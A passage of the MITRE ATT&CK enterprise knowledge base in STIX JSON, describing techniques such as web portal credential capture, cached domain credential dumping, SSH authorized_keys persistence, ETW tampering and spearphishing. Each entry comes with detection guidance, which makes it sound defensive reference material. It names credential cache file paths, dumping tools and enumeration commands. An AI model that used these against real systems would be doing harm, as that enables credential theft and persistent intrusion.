            "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e",
            "created": "2020-02-11T18:59:50.058Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/003",
                    "external_id": "T1056.003"
                },
                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:38.649Z",
            "name": "Web Portal Capture",
            "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262",
            "created": "2020-10-02T14:56:24.866Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/002",
                    "external_id": "T1589.002"
                },
                {
                    "source_name": "Azure Active Directory Reconnaisance",
                    "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
                    "url": "https://o365blog.com/post/just-looking/"
                },
                {
                    "source_name": "GitHub Office 365 User Enumeration",
                    "description": "gremwell. (2020, March 24). Office 365 User Enumeration. Retrieved May 27, 2022.",
                    "url": "https://github.com/gremwell/o365enum"
                },
                {
                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
                    "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
                },
                {
                    "source_name": "HackersArise Email",
                    "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020.",
                    "url": "https://www.hackers-arise.com/email-scraping-and-maltego"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:26:21.953Z",
            "name": "Email Addresses",
            "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1164",
                    "external_id": "T1164"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
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            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "created": "2017-05-31T21:30:47.384Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1054",
                    "external_id": "T1054"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/571.html",
                    "external_id": "CAPEC-571"
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                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
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                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
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            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ",
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            "id": "attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289",
            "created": "2023-09-07T21:48:39.516Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1598/004",
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                {
                    "source_name": "Avertium callback phishing",
                    "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
                    "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"
                },
                {
                    "source_name": "BOA Telephone Scams",
                    "description": "Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.",
                    "url": "https://business.bofa.com/en-us/content/what-is-vishing.html"
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            "modified": "2025-04-15T23:11:31.420Z",
            "name": "Spearphishing Voice",
            "description": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_platforms": [
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            "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
            "created": "2017-05-31T21:31:18.867Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1108",
                    "external_id": "T1108"
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                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "name": "Redundant Access",
            "description": "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1193",
                    "external_id": "T1193"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html",
                    "external_id": "CAPEC-163"
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            "modified": "2025-04-25T15:15:40.954Z",
            "name": "Spearphishing Attachment",
            "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
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                    "phase_name": "initial-access"
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            "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
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            "spec_version": "2.1",
            "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "created": "2020-02-21T15:42:25.991Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1003/005",
                    "external_id": "T1003.005"
                },
                {
                    "source_name": "PassLib mscache",
                    "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.",
                    "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"
                },
                {
                    "source_name": "ired mscache",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"
                },
                {
                    "source_name": "Microsoft - Cached Creds",
                    "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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            "name": "Cached Domain Credentials",
            "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
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            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
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            "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "created": "2020-06-24T12:42:35.144Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1098/004",
                    "external_id": "T1098.004"
                },
                {
                    "source_name": "Venafi SSH Key Abuse",
                    "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.",
                    "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
                },
                {
                    "source_name": "Broadcom ESXi SSH",
                    "description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html"
                },
                {
                    "source_name": "Google Cloud Privilege Escalation",
                    "description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.",
                    "url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"
                },
                {
                    "source_name": "cisco_ip_ssh_pubkey_ch_cmd",
                    "description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"
                },
                {
                    "source_name": "Cybereason Linux Exim Worm",
                    "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.",
                    "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"
                },
                {
                    "source_name": "Google Cloud Add Metadata",
                    "description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"
                },
                {
                    "source_name": "Azure Update Virtual Machines",
                    "description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"
                },
                {
                    "source_name": "SSH Authorized Keys",
                    "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.",
                    "url": "https://www.ssh.com/ssh/authorized_keys/"
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            "modified": "2025-04-15T19:58:39.342Z",
            "name": "SSH Authorized Keys",
            "description": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)",
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                {
                    "kill_chain_name": "mitre-attack",
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                "Austin Clark, @c2defense",
                "Arad Inbar, Fidelis Security"
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            "x_mitre_detection": "Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.\n\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "id": "attack-pattern--6bc7f9aa-b91f-4b23-84b8-5e756eba68eb",
            "created": "2025-03-27T15:32:17.400Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1673",
                    "external_id": "T1673"
                },
                {
                    "source_name": "TrendMicro Play",
                    "description": "Cj Arsley Mateo, Darrel Tristan Virtusio, Sarah Pearl Camiling, Andrei Alimboyao, Nathaniel Morales, Jacob Santos, Earl John Bareng. (2024, July 19). Play Ransomware Group\u2019s New Linux Variant Targets ESXi, Shows Ties With Prolific Puma. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
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            "modified": "2025-04-15T21:24:32.155Z",
            "name": "Virtual Machine Discovery",
            "description": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: TrendMicro Play) Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from [Virtual Machine Discovery](https://attack.mitre.org/techniques/T1673) during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as [Service Stop](https://attack.mitre.org/techniques/T1489) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1215",
                    "external_id": "T1215"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "Linux Kernel Module Programming Guide",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html"
                },
                {
                    "source_name": "Volatility Phalanx2",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html"
                },
                {
                    "source_name": "CrowdStrike Linux Rootkit",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
                },
                {
                    "source_name": "GitHub Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "url": "https://github.com/f0rb1dd3n/Reptile"
                },
                {
                    "source_name": "GitHub Diamorphine",
                    "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.",
                    "url": "https://github.com/m0nad/Diamorphine"
                },
                {
                    "source_name": "iDefense Rootkit Overview",
                    "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.",
                    "url": "http://www.megasecurity.org/papers/Rootkits.pdf"
                },
                {
                    "source_name": "RSAC 2015 San Francisco Patrick Wardle",
